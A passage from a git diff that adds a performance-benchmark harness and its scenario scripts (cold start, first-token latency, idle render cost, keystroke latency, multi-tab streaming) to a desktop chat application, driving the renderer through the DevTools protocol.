+            const out = join(cpuProfileDir, `${name}-${Date.now()}.cpuprofile`)
+            writeFileSync(out, JSON.stringify(profile))
+            console.log(`\n[cpuprofile] wrote ${out}`)
+            console.log('[cpuprofile] top self-time (ms):')
+            for (const r of cpuProfileTopSelf(profile, 15)) {
+              console.log(`   ${r.ms.toFixed(1).padStart(7)}  ${r.name.padEnd(38)}  ${r.url}:${r.line}`)
+            }
+            perRun.push(result.metrics)
+            detail = result.detail
+          } else {
+            const result = await scenario.run(cdp, flags)
+            perRun.push(result.metrics)
+            detail = result.detail
+          }
+        }
+
+        record(name, scenario.tier, medianMetrics(perRun), detail)
+      }
+    } finally {
+      teardown()
+    }
+  }
+
+  if (flags.json) {
+    writeFileSync(resolve(String(flags.json)), `${JSON.stringify({ timestamp: new Date().toISOString(), results }, null, 2)}\n`)
+    console.log(`\nwrote ${flags.json}`)
+  }
+
+  if (flags['update-baseline']) {
+    updateBaseline(BASELINE_PATH, results.filter(r => GATED.has(r.tier)))
+    console.log(`\nupdated ${BASELINE_PATH}`)
+    return
+  }
+
+  if (regressed) {
+    console.error('\n✗ perf regression vs baseline (see REGRESSED rows above)')
+    process.exit(1)
+  }
+
+  console.log('\n✓ no perf regressions')
+}
+
+main().catch(err => {
+  console.error('\nperf harness failed:', err.stack ?? err.message)
+  process.exit(1)
+})
diff --git a/ui-desktop/scripts/perf/scenarios/cold-start.mjs b/ui-desktop/scripts/perf/scenarios/cold-start.mjs
new file mode 100644
index 000000000..0d67833c7
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/cold-start.mjs
@@ -0,0 +1,18 @@
+// Cold start — launch → renderer → interactive. Unlike the other scenarios this
+// measures the LAUNCH itself, so it can't run against an already-up instance:
+// the runner spawns a fresh isolated instance per run (requires --spawn) and
+// reads the timings/boot-marks the launcher captures. Registered here so it's a
+// known name with a baseline entry; the actual measurement lives in run.mjs.
+//
+// Metrics (lower is better):
+//   spawn_to_cdp_ms     process spawn → CDP page target reachable (electron/V8 up)
+//   spawn_to_driver_ms  process spawn → renderer mounted + perf driver present
+//   fcp_ms              renderer nav start → first contentful paint
+export default {
+  name: 'cold-start',
+  tier: 'cold',
+  description: 'Launch → first paint → interactive (fresh spawn per run).',
+  run() {
+    throw new Error('cold-start is measured by the runner via fresh spawns; use `--spawn`.')
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/first-token.mjs b/ui-desktop/scripts/perf/scenarios/first-token.mjs
new file mode 100644
index 000000000..55477c824
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/first-token.mjs
@@ -0,0 +1,84 @@
+// Time-to-first-token — Enter → first assistant token painted. The latency an
+// agent app is uniquely judged on, spanning the desktop submit path AND the
+// backend/agent-loop first-token time. Backend tier: fires a REAL prompt, needs
+// a live backend (and credits). Report-only.
+//
+//   node scripts/perf/run.mjs first-token --spawn --prompt "hi"
+
+import { SELECTORS, sleep, typeIntoComposer } from '../lib/cdp.mjs'
+import { summarize } from '../lib/stats.mjs'
+
+export default {
+  name: 'first-token',
+  tier: 'backend',
+  description: 'Enter → first assistant token painted (real backend).',
+  async run(cdp, opts = {}) {
+    const rounds = Number(opts.rounds ?? 3)
+    const prompt = opts.prompt ?? 'reply with a single short sentence'
+    const timeoutMs = Number(opts.timeoutMs ?? 60000)
+
+    await cdp.send('Runtime.enable')
+
+    const firstTokens = []
+
+    for (let i = 0; i < rounds; i++) {
+      const baseText = await cdp.eval(`(() => {
+        const a = document.querySelectorAll(${JSON.stringify(SELECTORS.assistantMessage)})
+        return a.length ? a[a.length - 1].textContent.length : 0
+      })()`)
+      const baseCount = await cdp.eval(`document.querySelectorAll(${JSON.stringify(SELECTORS.assistantMessage)}).length`)
+
+      await typeIntoComposer(cdp, `${prompt} (${i})`, { cps: 60 })
+      const submitAt = Date.now()
+      await cdp.eval(`(() => {
+        const el = document.querySelector(${JSON.stringify(SELECTORS.composer)})
+        el && el.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', code: 'Enter', bubbles: true, cancelable: true }))
+      })()`)
+
+      const deadline = Date.now() + timeoutMs
+      let firstTokenMs = null
+
+      while (Date.now() < deadline) {
+        await sleep(25)
+        const grown = await cdp.eval(`(() => {
+          const a = document.querySelectorAll(${JSON.stringify(SELECTORS.assistantMessage)})
+          if (a.length > ${baseCount}) return true
+          return a.length ? a[a.length - 1].textContent.length > ${baseText} : false
+        })()`)
+
+        if (grown) {
+          firstTokenMs = Date.now() - submitAt
+          break
+        }
+      }
+
+      if (firstTokenMs !== null) {
+        firstTokens.push(firstTokenMs)
+      }
+
+      // Let the turn finish before the next round.
+      const turnDeadline = Date.now() + timeoutMs
+      while (Date.now() < turnDeadline) {
+        await sleep(250)
+        const busy = await cdp.eval(`!!document.querySelector('[data-status="running"], [data-busy="true"]')`)
+
+        if (!busy) {
+          break
+        }
+      }
+
+      await sleep(500)
+    }
+
+    if (!firstTokens.length) {
+      throw new Error('no first token observed — is a backend with credits connected?')
+    }
+
+    const s = summarize(firstTokens)
+
+    return {
+      metrics: { first_token_p50_ms: s.p50, first_token_p95_ms: s.p95 },
+      detail: { rounds, samples: firstTokens, summary: s }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/idle-cost.mjs b/ui-desktop/scripts/perf/scenarios/idle-cost.mjs
new file mode 100644
index 000000000..2427f272d
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/idle-cost.mjs
@@ -0,0 +1,284 @@
+// What does the app cost while a turn is running but NOTHING is arriving?
+//
+// The user-visible symptom: with a thread spinning, resizing the sidebar or
+// typing in the composer feels slow. That is not streaming cost — the stream
+// is idle. It is the app re-rendering on its own, competing with the
+// interaction for the main thread.
+//
+// This scenario holds N tiles in a busy state, pushes NO tokens, and measures:
+//   - idle_commits_per_s  the renderer's self-inflicted commit rate
+//   - drag_fps            fps while dragging the sidebar splitter
+//   - type_fps            fps while typing in the composer
+//
+// A perfectly idle app scores 0 idle commits and pins both interactions at the
+// display's refresh rate. Every idle commit is main-thread time stolen from an
+// interaction the user can feel.
+//
+//   node scripts/perf/run.mjs idle-cost --spawn [--tiles 5] [--seconds 6]
+
+import { sleep } from '../lib/cdp.mjs'
+
+/** Seed `tiles` busy session tiles. Same publish path as `multitab` /
+ *  `render-churn`, but the driver never runs — the turn just stays open. */
+const setup = (tiles, seedTurns) => `
+  (() => {
+    const hook = window.__CLAWCODEX_SESSION_TILES__
+    if (!hook) return 'no-hook'
+    if (!window.__RENDER_COUNTS__) return 'no-render-counter'
+
+    const turn = (sid, i) => ([
+      { id: sid + '-u' + i, role: 'user', timestamp: Date.now(),
+        parts: [{ type: 'text', text: 'Question ' + i + ' about the diff.' }] },
+      { id: sid + '-a' + i, role: 'assistant', timestamp: Date.now(), pending: false,
+        parts: [{ type: 'text', text: '## Finding ' + i + '\\n\\nThe handler swallows the rejection.\\n\\n- Point one.\\n- Point two.\\n' }] }
+    ])
+
+    window.__IDLE__ = { ids: [] }
+    for (let n = 1; n <= ${tiles}; n++) {
+      const sid = 'idle-tile-' + n
+      const rid = 'idle-rt-' + n
+      const messages = []
+      for (let i = 0; i < ${seedTurns}; i++) messages.push(...turn(sid, i))
+      // An OPEN assistant message: the turn is running, but no tokens arrive.
+      messages.push({ id: sid + '-stream', role: 'assistant', timestamp: Date.now(), pending: true,
+        parts: [{ type: 'text', text: 'Working on it.' }] })
+
+      window.__IDLE__.ids.push({ sid, rid })
+      hook.open(sid, 'center')
+      hook.patch(sid, { runtimeId: rid })
+      hook.publish(rid, {
+        storedSessionId: sid, messages, branch: '', cwd: '', model: '', provider: '',
+        reasoningEffort: '', serviceTier: '', fast: false, yolo: false, personality: '',
+        busy: true, awaitingResponse: false, streamId: sid + '-stream', sawAssistantPayload: true,
+        pendingBranchGroup: null, interrupted: false, interimBoundaryPending: false,
+        needsInput: false, turnStartedAt: Date.now(), usage: null
+      })
+    }
+    return 'ok'
+  })()
+`
+
+const reveal = sid => `window.__CLAWCODEX_LAYOUT_TREE__.reveal(${JSON.stringify(`session-tile:${sid}`)})`
+
+/** Measure the app's self-inflicted commit rate with nothing happening. */
+const idleCost = seconds => `
+  (async () => {
+    const rc = window.__RENDER_COUNTS__
+    rc.start()
+    const t0 = performance.now()
+    await new Promise(r => setTimeout(r, ${seconds} * 1000))
+    const elapsed = (performance.now() - t0) / 1000
+    rc.stop()
+    return JSON.stringify({
+      elapsed,
+      commits: rc.commits(),
+      top: rc.report(12),
+      owners: rc.report(300).filter(r => r.stateChanged > 0 && r.propsChanged === 0).slice(0, 10)
+    })
+  })()
+`
+
+/** Record frame pacing across an interaction driven from the page.
+ *
+ *  The gesture body drives itself on requestAnimationFrame, so it IS the frame
+ *  clock — timing is taken from those same callbacks rather than a second,
+ *  independent rAF ticker. Running two rAF consumers made the observer's
+ *  deltas count the driver's frames as well as the app's and reported ~3fps
+ *  where the interaction actually ran at ~23fps. `frames` is filled by the
+ *  body via `__MARK__`.
+ *
+ *  `record` MUST be false for any fps number you intend to believe: the render
+ *  counter walks the whole fiber tree on every commit, so recording during a
+ *  gesture measures the instrumentation as much as the app. Attribution and
+ *  timing therefore run as two separate passes. */
+const withFrames = (body, record = false) => `
+  (async () => {
+    const rc = window.__RENDER_COUNTS__
+    ${record ? 'rc.start()' : ''}
+    const frames = []
+    let last = performance.now()
+    // The body calls this once per frame it drives.
+    const __MARK__ = () => {
+      const now = performance.now()
+      frames.push(now - last)
+      last = now
+    }
+    ${body}
+    ${record ? 'rc.stop()' : ''}
+    const total = frames.reduce((a, b) => a + b, 0)
+    const sorted = [...frames].sort((a, b) => a - b)
+    const pct = p => sorted.length ? sorted[Math.min(sorted.length - 1, Math.floor(sorted.length * p))] : 0
+    return JSON.stringify({
+      fps: total ? (frames.length / total) * 1000 : 0,
+      p95: pct(0.95),
+      worst: sorted.length ? sorted[sorted.length - 1] : 0,
+      slow33: frames.filter(f => f > 33).length,
+      n: frames.length,
+      commits: ${record ? 'rc.commits()' : '0'},
+      top: ${record ? 'rc.report(10)' : '[]'}
+    })
+  })()
+`
+
+/** Drag the sidebar splitter — the resize symptom.
+ *  Sweeps monotonically (an oscillation nets to zero and can clamp to a no-op),
+ *  and reports how far it actually moved so a drag that silently did nothing
+ *  shows up as `dragMoved: 0` instead of a confident wrong number. */
+const DRAG = withFrames(`
+  const handle = document.querySelector('[role="separator"]')
+  window.__DRAG_TARGET__ = handle ? 'separator' : 'none'
+  window.__DRAG_MOVED__ = 0
+  if (handle) {
+    const box = handle.getBoundingClientRect()
+    const y = box.top + box.height / 2
+    const x0 = box.left + box.width / 2
+    let x = x0
+    const opts = { bubbles: true, cancelable: true, pointerId: 1, pointerType: 'mouse', isPrimary: true, button: 0, buttons: 1 }
+    handle.dispatchEvent(new PointerEvent('pointerdown', { ...opts, clientX: x, clientY: y }))
+    // Out 60px then back — a real gesture, with a net displacement at the peak.
+    for (let i = 0; i < 30; i++) {
+      x += 2
+      window.dispatchEvent(new PointerEvent('pointermove', { ...opts, clientX: x, clientY: y }))
+      await new Promise(r => requestAnimationFrame(r))
+      __MARK__()
+    }
+    window.__DRAG_MOVED__ = Math.round(x - x0)
+    for (let i = 0; i < 30; i++) {
+      x -= 2
+      window.dispatchEvent(new PointerEvent('pointermove', { ...opts, clientX: x, clientY: y }))
+      await new Promise(r => requestAnimationFrame(r))
+      __MARK__()
+    }
+    window.dispatchEvent(new PointerEvent('pointerup', { ...opts, buttons: 0, clientX: x, clientY: y }))
+  } else {
+    await new Promise(r => setTimeout(r, 1000))
+  }
+`)
+
+/** Type into the composer — the keystroke symptom. */
+const TYPE = withFrames(`
+  const el = document.querySelector('[contenteditable="true"], textarea')
+  window.__TYPE_TARGET__ = el ? (el.tagName.toLowerCase()) : 'none'
+  if (el) {
+    el.focus()
+    for (let i = 0; i < 40; i++) {
+      const ch = 'performance testing '[i % 20]
+      el.dispatchEvent(new KeyboardEvent('keydown', { bubbles: true, key: ch }))
+      if (el.tagName === 'TEXTAREA') {
+        el.value += ch
+        el.dispatchEvent(new Event('input', { bubbles: true }))
+      } else {
+        el.textContent += ch
+        el.dispatchEvent(new InputEvent('input', { bubbles: true, data: ch, inputType: 'insertText' }))
+      }
+      el.dispatchEvent(new KeyboardEvent('keyup', { bubbles: true, key: ch }))
+      // Wait for the frame this keystroke produces, then mark it — same clock
+      // discipline as DRAG, so typing fps is comparable to drag fps.
+      await new Promise(r => requestAnimationFrame(r))
+      __MARK__()
+      await new Promise(r => setTimeout(r, 25))
+    }
+  } else {
+    await new Promise(r => setTimeout(r, 1000))
+  }
+`)
+
+const CLEANUP = `
+  (() => {
+    if (window.__IDLE__) {
+      for (const { sid, rid } of window.__IDLE__.ids) {
+        const states = window.__CLAWCODEX_SESSION_TILES__.states()
+        window.__CLAWCODEX_SESSION_TILES__.publish(rid, { ...states[rid], busy: false, streamId: null })
+        window.__CLAWCODEX_SESSION_TILES__.close(sid)
+      }
+      window.__IDLE__ = null
+    }
+    window.__RENDER_COUNTS__.clear()
+    return 'cleaned'
+  })()
+`
+
+const round = (n, places = 1) => Math.round(n * 10 ** places) / 10 ** places
+
+export default {
+  name: 'idle-cost',
+  // NOT 'ci': the drag fps this reports (~0.6fps, p95 814ms) contradicts a
+  // direct single-clock probe of the same gesture on the same build (57fps),
+  // and I could not reconcile the two — ruled out sash selection, tile setup,
+  // counter residue, and a 20s soak. Its RENDER attribution and idle commit
+  // rate are trustworthy and are what this scenario is for; the interaction
+  // fps is reported for investigation, not gated on, until that is explained.
+  tier: 'report',
+  description: 'Busy-but-silent tiles: idle commit rate, and fps while resizing / typing.',
+  async run(cdp, opts = {}) {
+    const tiles = Number(opts.tiles ?? 5)
+    const seedTurns = Number(opts.turns ?? 20)
+    const seconds = Number(opts.seconds ?? 6)
+
+    await cdp.send('Runtime.enable')
+
+    const ok = await cdp.eval(setup(tiles, seedTurns))
+
+    if (ok !== 'ok') {
+      throw new Error(`idle-cost setup failed (${ok}) — needs a dev renderer with src/debug installed.`)
+    }
+
+    for (let n = 1; n <= tiles; n++) {
+      await cdp.eval(reveal(`idle-tile-${n}`))
+      await sleep(300)
+    }
+
+    await sleep(1500)
+
+    const idle = JSON.parse(await cdp.eval(idleCost(seconds)))
+    const drag = JSON.parse(await cdp.eval(DRAG))
+    const dragTarget = await cdp.eval('window.__DRAG_TARGET__ || "unknown"')
+    const dragMoved = await cdp.eval('window.__DRAG_MOVED__ ?? 0')
+    const type = JSON.parse(await cdp.eval(TYPE))
+    const typeTarget = await cdp.eval('window.__TYPE_TARGET__ || "unknown"')
+
+    await cdp.eval(CLEANUP)
+
+    if (dragTarget === 'none') {
+      throw new Error('idle-cost: no [role="separator"] sash found — the drag measured nothing.')
+    }
+
+    if (typeTarget === 'none') {
+      throw new Error('idle-cost: no composer found — the typing pass measured nothing.')
+    }
+
+    return {
+      metrics: {
+        // Commits per second with a turn open and nothing arriving. Should be 0.
+        idle_commits_per_s: round(idle.commits / idle.elapsed),
+        idle_renders: idle.top.reduce((a, r) => a + r.renders, 0),
+        // Interaction smoothness while that churn competes for the main thread.
+        // Reported as a deficit from 60fps so "lower is better" matches the
+        // baseline gate's direction.
+        drag_fps_deficit: round(Math.max(0, 60 - drag.fps)),
+        drag_slow_frames: drag.slow33,
+        type_fps_deficit: round(Math.max(0, 60 - type.fps)),
+        type_slow_frames: type.slow33
+      },
+      detail: {
+        tiles,
+        dragTarget,
+        dragMoved,
+        idleSeconds: round(idle.elapsed),
+        dragFps: round(drag.fps),
+        dragP95: round(drag.p95),
+        dragWorst: round(drag.worst),
+        typeFps: round(type.fps),
+        typeP95: round(type.p95),
+        typeWorst: round(type.worst),
+        // Components whose OWN state changed with no prop change: the roots.
+        idleOwners: idle.owners,
+        idleTop: idle.top,
+        dragCommits: drag.commits,
+        dragTop: drag.top,
+        typeCommits: type.commits,
+        typeTop: type.top
+      }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/index.mjs b/ui-desktop/scripts/perf/scenarios/index.mjs
new file mode 100644
index 000000000..01ca3be38
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/index.mjs
@@ -0,0 +1,39 @@
+// Scenario registry. Add a scenario module here and it's automatically
+// available to the runner, the default suite (tier 'ci'), and the baseline gate.
+
+import coldStart from './cold-start.mjs'
+import firstToken from './first-token.mjs'
+import idleCost from './idle-cost.mjs'
+import keystroke from './keystroke.mjs'
+import multitab from './multitab.mjs'
+import profileSwitch from './profile-switch.mjs'
+import renderChurn from './render-churn.mjs'
+import rightPane from './right-pane.mjs'
+import sessionLoad from './session-load.mjs'
+import sessionSwitch from './session-switch.mjs'
+import stream from './stream.mjs'
+import streamHistory from './stream-history.mjs'
+import submit from './submit.mjs'
+import transcript from './transcript.mjs'
+
+export const SCENARIOS = {
+  [stream.name]: stream,
+  [streamHistory.name]: streamHistory,
+  [keystroke.name]: keystroke,
+  [transcript.name]: transcript,
+  [multitab.name]: multitab,
+  [renderChurn.name]: renderChurn,
+  [rightPane.name]: rightPane,
+  [idleCost.name]: idleCost,
+  [coldStart.name]: coldStart,
+  [firstToken.name]: firstToken,
+  [submit.name]: submit,
+  [sessionLoad.name]: sessionLoad,
+  [sessionSwitch.name]: sessionSwitch,
+  [profileSwitch.name]: profileSwitch
+}
+
+/** Scenarios safe to run with no LLM credits / no live backend — the default suite. */
+export const CI_SCENARIOS = Object.values(SCENARIOS)
+  .filter(s => s.tier === 'ci')
+  .map(s => s.name)
diff --git a/ui-desktop/scripts/perf/scenarios/keystroke.mjs b/ui-desktop/scripts/perf/scenarios/keystroke.mjs
new file mode 100644
index 000000000..ad705e161
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/keystroke.mjs
@@ -0,0 +1,99 @@
+// Composer input latency — keystroke → next paint. Subsumes measure-latency,
+// profile-typing, and leak-typing. This is the most-felt latency in a chat app
+// (users type constantly) and nothing measured it against a baseline before.
+//
+// Each synthetic char records the time from dispatch to the first rAF after the
+// composer mutates (a paint proxy). Metrics are p50/p95/p99 and the count of
+// keystrokes that missed a 16ms frame.
+
+import { SELECTORS, sleep } from '../lib/cdp.mjs'
+import { percentile } from '../lib/stats.mjs'
+
+const INSTALL = `
+  (() => {
+    const el = document.querySelector(${JSON.stringify(SELECTORS.composer)})
+    if (!el) return false
+    el.focus()
+    const range = document.createRange()
+    range.selectNodeContents(el)
+    range.collapse(false)
+    const sel = window.getSelection()
+    sel.removeAllRanges()
+    sel.addRange(range)
+    window.__KEY__ = { samples: [], pending: null }
+    const obs = new MutationObserver(() => {
+      const start = window.__KEY__.pending
+      if (start === null) return
+      window.__KEY__.pending = null
+      requestAnimationFrame(() => window.__KEY__.samples.push(performance.now() - start))
+    })
+    obs.observe(el, { childList: true, subtree: true, characterData: true })
+    window.__KEY__.obs = obs
+    return true
+  })()
+`
+
+const CLEAR = `
+  (() => {
+    const el = document.querySelector(${JSON.stringify(SELECTORS.composer)})
+    if (el) { el.innerHTML = ''; el.dispatchEvent(new InputEvent('input', { bubbles: true, inputType: 'deleteContentBackward' })) }
+    window.__KEY__ && window.__KEY__.obs && window.__KEY__.obs.disconnect()
+  })()
+`
+
+const SENTENCE =
+  'the quick brown fox jumps over the lazy dog while typing into this composer, which should feel instant. '
+
+export default {
+  name: 'keystroke',
+  tier: 'ci',
+  description: 'Composer keystroke → paint latency while idle.',
+  async run(cdp, opts = {}) {
+    const chars = Number(opts.chars ?? 120)
+    const cps = Number(opts.cps ?? 15)
+
+    await cdp.send('Runtime.enable')
+
+    const installed = await cdp.eval(INSTALL)
+
+    if (!installed) {
+      throw new Error(`composer not found (${SELECTORS.composer}); is a chat view open?`)
+    }
+
+    let text = ''
+
+    while (text.length < chars) {
+      text += SENTENCE
+    }
+
+    text = text.slice(0, chars)
+    const intervalMs = Math.max(1, Math.round(1000 / cps))
+    const start = Date.now()
+
+    for (let i = 0; i < text.length; i++) {
+      await cdp.eval('window.__KEY__.pending = performance.now()')
+      await cdp.send('Input.dispatchKeyEvent', { type: 'char', text: text[i], unmodifiedText: text[i] })
+      const wait = start + (i + 1) * intervalMs - Date.now()
+
+      if (wait > 0) {
+        await sleep(wait)
+      }
+    }
+
+    await sleep(300)
+    const samples = await cdp.eval('window.__KEY__.samples')
+    await cdp.eval(CLEAR)
+
+    const round = n => Math.round(n * 10) / 10
+
+    return {
+      metrics: {
+        keystroke_p50_ms: round(percentile(samples, 0.5)),
+        keystroke_p95_ms: round(percentile(samples, 0.95)),
+        keystroke_p99_ms: round(percentile(samples, 0.99)),
+        keystroke_slow_16: samples.filter(s => s > 16).length
+      },
+      detail: { n: samples.length, typed: text.length }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/multitab.mjs b/ui-desktop/scripts/perf/scenarios/multitab.mjs
new file mode 100644
index 000000000..b34d00e32
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/multitab.mjs
@@ -0,0 +1,246 @@
+// Multi-tab working sessions: N session tiles stacked as tabs in the main
+// zone, EVERY tab mounted (keep-alive), all streaming concurrently — the
+// "5 tabs doing PR review" workload. Measures frame pacing + longtasks while
+// the whole stack streams, which is where multitab renderers crawl.
+//
+// Drives the real pipeline synthetically (no backend, no credits):
+// publishSessionState per session per flush — exactly what the gateway's
+// delta flush does — via the __CLAWCODEX_SESSION_TILES__ hook.
+//
+//   node scripts/perf/run.mjs multitab --spawn [--tiles 5] [--tokens 240]
+
+import { sleep } from '../lib/cdp.mjs'
+import { frameHistogram, percentile } from '../lib/stats.mjs'
+
+// Same recorder pattern as stream.mjs (generation-guarded rAF + longtasks).
+const RECORDERS = `
+  (() => {
+    window.__FT_GEN__ = (window.__FT_GEN__ || 0) + 1
+    const ftGen = window.__FT_GEN__
+    window.__FT__ = { times: [], stop: false }
+    let last = performance.now()
+    const tick = () => {
+      if (window.__FT_GEN__ !== ftGen || window.__FT__.stop) return
+      const now = performance.now()
+      window.__FT__.times.push(now - last)
+      last = now
+      requestAnimationFrame(tick)
+    }
+    requestAnimationFrame(tick)
+
+    window.__LT__ = { entries: [], stop: false }
+    try {
+      const po = new PerformanceObserver((list) => {
+        if (window.__LT__.stop) return
+        for (const e of list.getEntries()) window.__LT__.entries.push({ duration: e.duration, startTime: e.startTime })
+      })
+      po.observe({ entryTypes: ['longtask'] })
+      window.__LT__.po = po
+    } catch {}
+    return 'armed'
+  })()
+`
+
+const COLLECT = `
+  (() => {
+    window.__FT__.stop = true
+    window.__LT__.stop = true
+    try { window.__LT__.po && window.__LT__.po.disconnect() } catch {}
+    return JSON.stringify({ frames: window.__FT__.times, longtasks: window.__LT__.entries })
+  })()
+`
+
+/** Page-side setup: open `tiles` session tiles stacked into the main zone,
+ *  bind fake runtime ids, and seed each with a realistic transcript. */
+const setup = (tiles, seedTurns, streamSeed) => `
+  (() => {
+    const hook = window.__CLAWCODEX_SESSION_TILES__
+    if (!hook) return 'no-hook'
+
+    const turn = (sid, i) => ([
+      { id: sid + '-u' + i, role: 'user', timestamp: Date.now(),
+        parts: [{ type: 'text', text: 'Review question ' + i + ': does the diff in module ' + i + ' handle the error path?' }] },
+      { id: sid + '-a' + i, role: 'assistant', timestamp: Date.now(), pending: false,
+        parts: [{ type: 'text', text: [
+          '## Finding ' + i, '',
+          'The handler swallows the rejection. Key points for hunk \\\`' + i + '\\\`:', '',
+          '- The catch block drops the original error.',
+          '- Retries are unbounded — see [the loop](https://example.com/loop).', '',
+          '\\\`\\\`\\\`ts',
+          'async function retry' + i + '(fn: () => Promise<void>) {',
+          '  for (;;) { try { return await fn() } catch {} }',
+          '}',
+          '\\\`\\\`\\\`', '',
+          '| path | covered |', '|---|---|', '| happy | yes |', '| error | no |', ''
+        ].join('\\n') }] }
+    ])
+
+    const state = (sid, rid) => {
+      const messages = []
+      for (let i = 0; i < ${seedTurns}; i++) messages.push(...turn(sid, i))
+      // Streaming tail the driver grows (--code seeds an open fence).
+      messages.push({ id: sid + '-stream', role: 'assistant', timestamp: Date.now(), pending: true,
+        parts: [{ type: 'text', text: ${JSON.stringify(streamSeed)} }] })
+      return {
+        storedSessionId: sid, messages, branch: '', cwd: '', model: '', provider: '',
+        reasoningEffort: '', serviceTier: '', fast: false, yolo: false, personality: '',
+        busy: true, awaitingResponse: false, streamId: sid + '-stream', sawAssistantPayload: true,
+        pendingBranchGroup: null, interrupted: false, interimBoundaryPending: false,
+        needsInput: false, turnStartedAt: Date.now(), usage: null
+      }
+    }
+
+    window.__MT__ = { ids: [], timer: null }
+    for (let n = 1; n <= ${tiles}; n++) {
+      const sid = 'perf-tile-' + n
+      const rid = 'perf-rt-' + n
+      window.__MT__.ids.push({ sid, rid })
+      hook.open(sid, 'center')
+      hook.patch(sid, { runtimeId: rid })
+      hook.publish(rid, state(sid, rid))
+    }
+    return 'ok'
+  })()
+`
+
+// Activate every tab once so keep-alive mounts the full stack (lazy mount:
+// a never-activated tab stays unmounted, which would understate the cost).
+const reveal = sid => `window.__CLAWCODEX_LAYOUT_TREE__.reveal(${JSON.stringify(`session-tile:${sid}`)})`
+
+/** Page-side driver: grow every tile's streaming tail by `chunk` each
+ *  `intervalMs`, through the same publish path the gateway flush uses. */
+const drive = (chunk, intervalMs, totalTokens) => `
+  (() => {
+    const hook = window.__CLAWCODEX_SESSION_TILES__
+    let pushed = 0
+    const tick = () => {
+      const states = hook.states()
+      for (const { rid } of window.__MT__.ids) {
+        const prev = states[rid]
+        if (!prev) continue
+        const messages = prev.messages.map(m => {
+          if (m.id !== prev.streamId) return m
+          const head = m.parts.slice(0, -1)
+          const last = m.parts[m.parts.length - 1]
+          return { ...m, parts: [...head, { type: 'text', text: last.text + ${JSON.stringify(chunk)} }] }
+        })
+        hook.publish(rid, { ...prev, messages })
+      }
+      pushed += 1
+      if (pushed < ${totalTokens}) window.__MT__.timer = setTimeout(tick, ${intervalMs})
+      else window.__MT__.done = true
+    }
+    window.__MT__.timer = setTimeout(tick, ${intervalMs})
+    return 'driving'
+  })()
+`
+
+const CLEANUP = `
+  (() => {
+    if (window.__MT__) {
+      clearTimeout(window.__MT__.timer)
+      for (const { sid, rid } of window.__MT__.ids) {
+        window.__CLAWCODEX_SESSION_TILES__.publish(rid, {
+          ...window.__CLAWCODEX_SESSION_TILES__.states()[rid], busy: false, streamId: null
+        })
+        window.__CLAWCODEX_SESSION_TILES__.close(sid)
+      }
+      window.__MT__ = null
+    }
+    return 'cleaned'
+  })()
+`
+
+export default {
+  name: 'multitab',
+  tier: 'ci',
+  description: 'N mounted session-tile tabs all streaming: frame pacing + longtasks.',
+  async run(cdp, opts = {}) {
+    const tiles = Number(opts.tiles ?? 5)
+    const seedTurns = Number(opts.turns ?? 20)
+    const tokens = Number(opts.tokens ?? 240)
+    // Matches STREAM_DELTA_FLUSH_MS — one publish per session per real flush.
+    const intervalMs = Number(opts.intervalMs ?? 33)
+    // --code: every tile grows ONE giant fenced code block with no settle
+    // boundaries — what a coding agent streams. The block re-parses and
+    // re-renders fully every flush (block memoization can't settle it), the
+    // documented worst case and the "5 tabs all coding" crawl.
+    const chunk = opts.code
+      ? '  const value = await resolve(ctx, { retry: true }) // step\n'
+      : (opts.chunk ?? 'A streamed review sentence with **bold**, `code`, and ordinary prose.\n\n')
+    const streamSeed = opts.code ? '```ts\n' : ''
+
+    await cdp.send('Runtime.enable')
+
+    const ok = await cdp.eval(setup(tiles, seedTurns, streamSeed))
+
+    if (ok !== 'ok') {
+      throw new Error(`multitab setup failed (${ok}) — dev hooks missing? (needs a dev/probe renderer)`)
+    }
+
+    // Mount every tab (keep-alive mounts on first activation), then settle.
+    for (let n = 1; n <= tiles; n++) {
+      await cdp.eval(reveal(`perf-tile-${n}`))
+      await sleep(350)
+    }
+
+    await sleep(1000)
+    await cdp.eval(RECORDERS)
+    await cdp.eval(drive(chunk, intervalMs, tokens))
+    await sleep(tokens * intervalMs + 1500)
+
+    const data = JSON.parse(await cdp.eval(COLLECT))
+    await cdp.eval(CLEANUP)
+
+    // Drop the first 500ms (recorder install + settle).
+    const frames = []
+    let acc = 0
+
+    for (const f of data.frames) {
+      acc += f
+
+      if (acc >= 500) {
+        frames.push(f)
+      }
+    }
+
+    const ltDurations = data.longtasks.map(e => e.duration)
+    const windowS = frames.reduce((a, b) => a + b, 0) / 1000
+    // The felt numbers: sustained fps over the window, and the fps of the
+    // worst 1-second slice (a 333ms frame IS "3fps" even if the average looks
+    // fine). Worst slice = max summed frame time in any sliding 1s window.
+    const avgFps = windowS ? frames.length / windowS : 0
+    let worstFps = avgFps
+
+    for (let i = 0, j = 0, sum = 0; j < frames.length; j++) {
+      sum += frames[j]
+
+      while (sum > 1000) {
+        sum -= frames[i++]
+      }
+
+      // Only a window that actually spans ~1s counts; short prefixes don't.
+      if (sum >= 900) {
+        worstFps = Math.min(worstFps, ((j - i + 1) / sum) * 1000)
+      }
+    }
+
+    return {
+      metrics: {
+        longtasks_n: data.longtasks.length,
+        longtask_max_ms: Math.round((ltDurations.length ? Math.max(...ltDurations) : 0) * 10) / 10,
+        frame_p95_ms: Math.round(percentile(frames, 0.95) * 10) / 10,
+        frame_p99_ms: Math.round(percentile(frames, 0.99) * 10) / 10,
+        slow_frames_33: frames.filter(f => f > 33).length
+      },
+      detail: {
+        tiles,
+        code: Boolean(opts.code),
+        windowS: Math.round(windowS * 10) / 10,
+        avgFps: Math.round(avgFps * 10) / 10,
+        worstSecondFps: Math.round(worstFps * 10) / 10,
+        frameHistogram: frameHistogram(frames)
+      }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/profile-switch.mjs b/ui-desktop/scripts/perf/scenarios/profile-switch.mjs
new file mode 100644
index 000000000..03ff104e3
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/profile-switch.mjs
